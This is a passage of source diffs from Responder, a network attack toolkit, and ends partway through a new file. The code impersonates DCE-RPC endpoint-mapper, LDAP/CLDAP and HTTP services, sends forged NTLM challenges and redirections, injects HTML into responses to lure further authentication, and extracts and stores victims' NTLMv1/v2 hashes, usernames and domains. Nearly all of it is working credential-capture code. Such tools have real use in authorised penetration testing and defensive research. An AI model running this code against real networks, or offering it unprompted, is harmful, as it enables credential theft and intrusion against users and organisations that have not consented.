("CTXPadding", "\x00\x00\x00"),
("CTX0ContextID", "\x02\x00"),
("CTX0ItemNumber", "\x02\x00"),
("CTX0UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
("CTX0UIDVersion", "\x00\x00\x00\x00"),
("CTX1ContextID", "\x00\x00"),
("CTX1ItemNumber", "\x00\x00"),
("CTX1UID", "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36"),
("CTX1UIDVersion", "\x00\x00\x00\x00"),
("CTX2ContextID", "\x03\x00"),
("CTX2ItemNumber", "\x03\x00"),
("CTX2UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
("CTX2UIDVersion", "\x00\x00\x00\x00"),
])
def calculate(self):
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["SecondaryAddrLen"])+str(self.fields["SecondaryAddrstr"])+str(self.fields["Padding"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX1ContextID"])+str(self.fields["CTX1ItemNumber"])+str(self.fields["CTX1UID"])+str(self.fields["CTX1UIDVersion"])+str(self.fields["CTX2ContextID"])+str(self.fields["CTX2ItemNumber"])+str(self.fields["CTX2UID"])+str(self.fields["CTX2UIDVersion"])
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
class RPCHeader(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x02"),#Bind ack.
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x0c\x01"),
("AuthLen", "\x00\x00"),
("CallID", "\x02\x00\x00\x00"),
("AllocHint", "\xf4\x00\x00\x00"),
("ContextID", "\x01\x00"),
("CancelCount", "\x00"),
("Padding", "\x00"),
("Data", ""),
])
def calculate(self):
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["CancelCount"])+str(self.fields["Padding"])+str(self.fields["Data"])
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
class RPCMapBindMapperAns(Packet):
fields = OrderedDict([
("ContextType", "\x00\x00\x00\x00"),
("ContextUID", "\x00"*16),
("MaxTowers", "\x02\x00\x00\x00"),
("TowerArrMaxCount", "\x04\x00\x00\x00\x00\x00\x00\x00"),
("TowerArrMaxOff", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TowerArrActualCount", "\x02\x00\x00\x00\x00\x00\x00\x00"),
("TowerPointer1", "\x03\x00\x00\x00\x00\x00\x00\x00"),
("TowerPointer2", "\x04\x00\x00\x00\x00\x00\x00\x00"),
("TowerTotalLen", "\x4B\x00\x00\x00\x00\x00\x00\x00"),
("Tower1Len", "\x4B\x00\x00\x00"), #Repeat x1 from here
("Tower1FloorsCount", "\x05\x00"),
("Tower1ByteCount", "\x13\x00"),
("Tower1IntUID", "\x0D"),
("Tower1UID", "\x35\x42\x51\xE3\x06\x4B\xD1\x11\xAB\x04\x00\xC0\x4F\xC2\xDC\xD2"),
("Tower1Version", "\x04\x00"),
("Tower1VersionMinBC", "\x02\x00"),
("Tower1VersionMinimum", "\x00\x00"),
("Tower2ByteCount", "\x13\x00"),
("Tower2IntUID", "\x0D"),
("Tower2UID", "\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60"),
("Tower2Version", "\x02\x00"),
("Tower2VersionMinBC", "\x02\x00"),
("Tower2VersionMinimum", "\x00\x00"),
("TowerRpcByteCount", "\x01\x00"),
("TowerRpctIdentifier", "\x0B"),#RPC v5
("TowerRpcByteCount2", "\x02\x00"),
("TowerRpcMinimum", "\x00\x00"),
("TowerPortNumberBC", "\x01\x00"),
("TowerPortNumberOpcode", "\x07"),#Port is TCP.
("TowerPortNumberBC2", "\x02\x00"),
("TowerPortNumberStr", settings.Config.RPCPort), #Port
("TowerIPAddressBC", "\x01\x00"),
("TowerIPAddressOpcode", "\x09"),#IPv4 Opcode.
("TowerIPAddressBC2", "\x04\x00"),
("TowerIPAddressStr", ""), #IP Address
("TowerIPNull", "\x00"),
("Data", ""), #To here, exact same packet.
("Padding", "\x00"),
("ErrorCode", "\x00\x00\x00\x00"),# No error.
])
def calculate(self):
self.fields["TowerPortNumberStr"] = StructWithLenPython2or3(">H", self.fields["TowerPortNumberStr"])
self.fields["TowerIPAddressStr"] = RespondWithIPAton()
Data= str(self.fields["TowerTotalLen"])+str(self.fields["Tower1Len"])+str(self.fields["Tower1FloorsCount"])+str(self.fields["Tower1ByteCount"])+str(self.fields["Tower1IntUID"])+str(self.fields["Tower1UID"])+str(self.fields["Tower1Version"])+str(self.fields["Tower1VersionMinBC"])+str(self.fields["Tower1VersionMinimum"])+str(self.fields["Tower2ByteCount"])+str(self.fields["Tower2IntUID"])+str(self.fields["Tower2UID"])+str(self.fields["Tower2Version"])+str(self.fields["Tower2VersionMinBC"])+str(self.fields["Tower2VersionMinimum"])+str(self.fields["TowerRpcByteCount"])+str(self.fields["TowerRpctIdentifier"])+str(self.fields["TowerRpcByteCount2"])+str(self.fields["TowerRpcMinimum"])+str(self.fields["TowerPortNumberBC"])+str(self.fields["TowerPortNumberOpcode"])+str(self.fields["TowerPortNumberBC2"])+str(self.fields["TowerPortNumberStr"])+str(self.fields["TowerIPAddressBC"])+str(self.fields["TowerIPAddressOpcode"])+str(self.fields["TowerIPAddressBC2"])+str(self.fields["TowerIPAddressStr"])
self.fields["Data"] = Data
class NTLMChallenge(Packet):
fields = OrderedDict([
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class RPCNTLMNego(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0C"),#Bind Ack.
("PacketFlag", "\x07"),#lastfrag
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\xd0\x00"),
("AuthLen", "\x28\x00"),
("CallID", "\x02\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x94\x2c\x00\x00"),
("CurrentPortLen", "\x06\x00"),
("CurrentPortStr", settings.Config.RPCPort),
("CurrentPortNull", "\x00"),
("Pcontext", "\x03\x00\x00\x00"),
("CTX0ContextID", "\x02\x00"),
("CTX0ItemNumber", "\x02\x00"),
("CTX0UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
("CTX0UIDVersion", "\x00\x00\x00\x00"),
("CTX1ContextID", "\x00\x00"),
("CTX1ItemNumber", "\x00\x00"),
("CTX1UID", "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36"),
("CTX1UIDVersion", "\x01\x00\x00\x00"),
("CTX2ContextID", "\x03\x00"),
("CTX2ItemNumber", "\x03\x00"),
("CTX2UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
("CTX2UIDVersion", "\x00\x00\x00\x00"),
("AuthType", "\x0A"), #RPC_C_AUTHN_WINNT
("AuthLevel", "\x06"),
("AuthReserved", "\x00\x00"),
("AuthContextID", "\x00\x00\x00\x00"),
("Data", ""), #NTLM GOES HERE
])
def calculate(self):
self.fields["AuthLen"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CurrentPortLen"])+str(self.fields["CurrentPortStr"])+str(self.fields["CurrentPortNull"])+str(self.fields["Pcontext"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX1ContextID"])+str(self.fields["CTX1ItemNumber"])+str(self.fields["CTX1UID"])+str(self.fields["CTX1UIDVersion"])+str(self.fields["CTX2ContextID"])+str(self.fields["CTX2ItemNumber"])+str(self.fields["CTX2UID"])+str(self.fields["CTX2UIDVersion"]) +str(self.fields["AuthType"])+str(self.fields["AuthLevel"])+str(self.fields["AuthReserved"])+str(self.fields["AuthContextID"])+str(self.fields["Data"])
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))

View File

@@ -33,7 +33,7 @@ def ParseDNSType(data):
class DNS(BaseRequestHandler):
def handle(self):
# Break out if we don't want to respond to this host
# Ditch it if we don't want to respond to this host
if RespondToThisIP(self.client_address[0]) is not True:
return None

View File

@@ -222,7 +222,7 @@ def PacketSequence(data, client, Challenge):
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return NetworkSendBufferPython2or3(Buffer)
return Buffer
elif Basic_Auth:
ClearText_Auth = b64decode(''.join(Basic_Auth))
@@ -248,7 +248,7 @@ def PacketSequence(data, client, Challenge):
else:
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
Buffer.calculate()
return NetworkSendBufferPython2or3(Buffer)
return Buffer
else:
if settings.Config.Basic:
Response = IIS_Basic_401_Ans()
@@ -308,6 +308,6 @@ class HTTP(BaseRequestHandler):
Buffer = PacketSequence(data,self.client_address[0], Challenge)
self.request.send(NetworkSendBufferPython2or3(Buffer))
except socket.error:
except:
pass

View File

@@ -25,9 +25,6 @@ import struct
import codecs
import random
def GenerateNetbiosName():
return 'WIN-'+''.join([random.choice('abcdefghijklmnopqrstuvwxyz0123456789') for i in range(11)])
def CalculateDNSName(name):
if isinstance(name, bytes):
name = name.decode('latin-1')
@@ -41,7 +38,6 @@ def CalculateDNSName(name):
return Dnslen, DomainPrefix
def ParseCLDAPNetlogon(data):
#data = NetworkSendBufferPython2or3(data)
try:
Dns = data.find(b'DnsDomain')
if Dns is -1:
@@ -66,21 +62,25 @@ def ParseCLDAPNetlogon(data):
def ParseSearch(data):
TID = data[8:9].decode('latin-1')
if re.search(b'Netlogon', data):
NbtName = GenerateNetbiosName()
NbtName = settings.Config.MachineName
TID = NetworkRecvBufferPython2or3(data[8:10])
if TID[1] == "\x63":
TID = "\x00"+TID[0]
DomainName, DomainGuid = ParseCLDAPNetlogon(data)
DomainGuid = NetworkRecvBufferPython2or3(DomainGuid)
t = CLDAPNetlogon(MessageIDASNStr=TID ,CLDAPMessageIDStr=TID, NTLogonDomainGUID=DomainGuid, NTLogonForestName=CalculateDNSName(DomainName)[0],NTLogonPDCNBTName=CalculateDNSName(NbtName)[0], NTLogonDomainNBTName=CalculateDNSName(NbtName)[0],NTLogonDomainNameShort=CalculateDNSName(DomainName)[1])
t.calculate()
return str(t)
if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(?i)(objectClass0*.*supportedSASLMechanisms)', data):
return str(LDAPSearchSupportedMechanismsPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
elif re.search(b'(?i)(objectClass0*.*supportedCapabilities)', data):
return str(LDAPSearchSupportedCapabilitiesPacket(MessageIDASNStr=TID,MessageIDASN2Str=TID))
if re.search(b'(objectClass)', data):
return str(LDAPSearchDefaultPacket(MessageIDASNStr=TID))
def ParseLDAPHash(data,client, Challenge): #Parse LDAP NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:]
@@ -143,9 +143,10 @@ def ParseNTLM(data,client, Challenge):
def ParseCLDAPPacket(data, client, Challenge):
if data[1:2] == b'\x84':
PacketLen = struct.unpack('>i',data[2:6])[0]
MessageSequence = struct.unpack('<b',data[8:9])[0]
Operation = data[10:11]
PacketLen = struct.unpack('>i',data[2:6])[0]
if Operation == b'\x84':
Operation = data[9:10]
sasl = data[20:21]
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
@@ -172,10 +173,11 @@ def ParseCLDAPPacket(data, client, Challenge):
elif Operation == b'\x63':
Buffer = ParseSearch(data)
print(text('[CLDAP] Sent CLDAP pong to %s.'% client))
return Buffer
elif settings.Config.Verbose:
print(text('[LDAP] Operation not supported'))
print(text('[CLDAP] Operation not supported'))
if data[5:6] == b'\x60':
UserLen = struct.unpack("<b",data[11:12])[0]
@@ -183,7 +185,7 @@ def ParseCLDAPPacket(data, client, Challenge):
PassLen = struct.unpack("<b",data[12+UserLen+1:12+UserLen+2])[0]
PassStr = data[12+UserLen+2:12+UserLen+3+PassLen].decode('latin-1')
if settings.Config.Verbose:
print(text('[LDAP] Attempting to parse an old simple Bind request.'))
print(text('[CLDAP] Attempting to parse an old simple Bind request.'))
SaveToDb({
'module': 'LDAP',
'type': 'Cleartext',
@@ -203,8 +205,6 @@ def ParseLDAPPacket(data, client, Challenge):
OperationHeadLen = struct.unpack('>i',data[11:15])[0]
LDAPVersion = struct.unpack('<b',data[17:18])[0]
if Operation == b'\x60':#Bind
if "ldap" in data:# No Kerberos
return False
UserDomainLen = struct.unpack('<b',data[19:20])[0]
UserDomain = data[20:20+UserDomainLen].decode('latin-1')
AuthHeaderType = data[20+UserDomainLen:20+UserDomainLen+1]

View File

@@ -69,9 +69,11 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data)
GrabCookie(data)
GrabHost(data)
return False
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
Buffer.calculate()
return Buffer
else:
return False
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
elif Basic_Auth:
GrabUserAgent(data)

214
servers/RPC.py Normal file
View File

@@ -0,0 +1,214 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
import struct
import re
import ssl
import codecs
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import RPCMapBindAckAcceptedAns, RPCMapBindMapperAns, RPCHeader, NTLMChallenge, RPCNTLMNego
NDR = "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60" #v2
Map = "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36" #v1
MapBind = "\x08\x83\xaf\xe1\x1f\x5d\xc9\x11\x91\xa4\x08\x00\x2b\x14\xa0\xfa"
#for mapper
DSRUAPI = "\x35\x42\x51\xe3\x06\x4b\xd1\x11\xab\x04\x00\xc0\x4f\xc2\xdc\xd2" #v4
LSARPC = "\x78\x57\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\x89\xab" #v0
NETLOGON = "\x78\x56\x34\x12\x34\x12\xcd\xab\xef\x00\x01\x23\x45\x67\xcf\xfb" #v1
WINSPOOL = "\x96\x3f\xf0\x76\xfd\xcd\xfc\x44\xa2\x2c\x64\x95\x0a\x00\x12\x09" #v1
def Chose3264x(packet):
if Map32 in packet:
return Map32
else:
return Map64
def FindNTLMOpcode(data):
SSPIStart = data.find(b'NTLMSSP')
if SSPIStart is -1:
return False
SSPIString = data[SSPIStart:]
return SSPIString[8:12]
def ParseRPCHash(data,client, Challenge): #Parse NTLMSSP v1/v2
SSPIStart = data.find(b'NTLMSSP')
SSPIString = data[SSPIStart:]
LMhashLen = struct.unpack('<H',data[SSPIStart+14:SSPIStart+16])[0]
LMhashOffset = struct.unpack('<H',data[SSPIStart+16:SSPIStart+18])[0]
LMHash = SSPIString[LMhashOffset:LMhashOffset+LMhashLen]
LMHash = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
NthashLen = struct.unpack('<H',data[SSPIStart+20:SSPIStart+22])[0]
NthashOffset = struct.unpack('<H',data[SSPIStart+24:SSPIStart+26])[0]
if NthashLen == 24:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, LMHash, SMBHash, codecs.encode(Challenge,'hex').decode('latin-1'))
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv1-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
if NthashLen > 60:
SMBHash = SSPIString[NthashOffset:NthashOffset+NthashLen]
SMBHash = codecs.encode(SMBHash, 'hex').upper().decode('latin-1')
DomainLen = struct.unpack('<H',SSPIString[30:32])[0]
DomainOffset = struct.unpack('<H',SSPIString[32:34])[0]
Domain = SSPIString[DomainOffset:DomainOffset+DomainLen].decode('UTF-16LE')
UserLen = struct.unpack('<H',SSPIString[38:40])[0]
UserOffset = struct.unpack('<H',SSPIString[40:42])[0]
Username = SSPIString[UserOffset:UserOffset+UserLen].decode('UTF-16LE')
WriteHash = '%s::%s:%s:%s:%s' % (Username, Domain, codecs.encode(Challenge,'hex').decode('latin-1'), SMBHash[:32], SMBHash[32:])
SaveToDb({
'module': 'DCE-RPC',
'type': 'NTLMv2-SSP',
'client': client,
'user': Domain+'\\'+Username,
'hash': SMBHash,
'fullhash': WriteHash,
})
class RPCMap(BaseRequestHandler):
def handle(self):
try:
data = self.request.recv(1024)
self.request.settimeout(5)
Challenge = RandomChallenge()
if data[0:3] == b"\x05\x00\x0b":#Bind Req.
#More recent windows version can and will bind on port 135...Let's grab it.
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
n.calculate()
RPC = RPCNTLMNego(Data=n)
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
ParseRPCHash(data, self.client_address[0], Challenge)
self.request.close()
if NetworkSendBufferPython2or3(Map) in data:# Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=Map, CTX1UIDVersion="\x01\x00\x00\x00",CallID=NetworkRecvBufferPython2or3(data[12:16]))
if NetworkSendBufferPython2or3(NDR) in data and NetworkSendBufferPython2or3(Map) not in data: # Let's redirect to Mapper.
RPC = RPCMapBindAckAcceptedAns(CTX1UID=NDR, CTX1UIDVersion="\x02\x00\x00\x00", CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
if data[0:3] == b"\x05\x00\x00":#Mapper Response.
# DSRUAPI
if NetworkSendBufferPython2or3(DSRUAPI) in data:
x = RPCMapBindMapperAns()
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#LSARPC
if NetworkSendBufferPython2or3(LSARPC) in data:
x = RPCMapBindMapperAns(Tower1UID=LSARPC,Tower1Version="\x00\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#WINSPOOL
if NetworkSendBufferPython2or3(WINSPOOL) in data:
x = RPCMapBindMapperAns(Tower1UID=WINSPOOL,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
x.calculate()
RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1))
self.request.close()
#NetLogon
if NetworkSendBufferPython2or3(NETLOGON) in data:
self.request.close()
# For now, we don't want to establish a secure channel... we want NTLM.
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
#x.calculate()
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
#RPC.calculate()
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
#data = self.request.recv(1024)
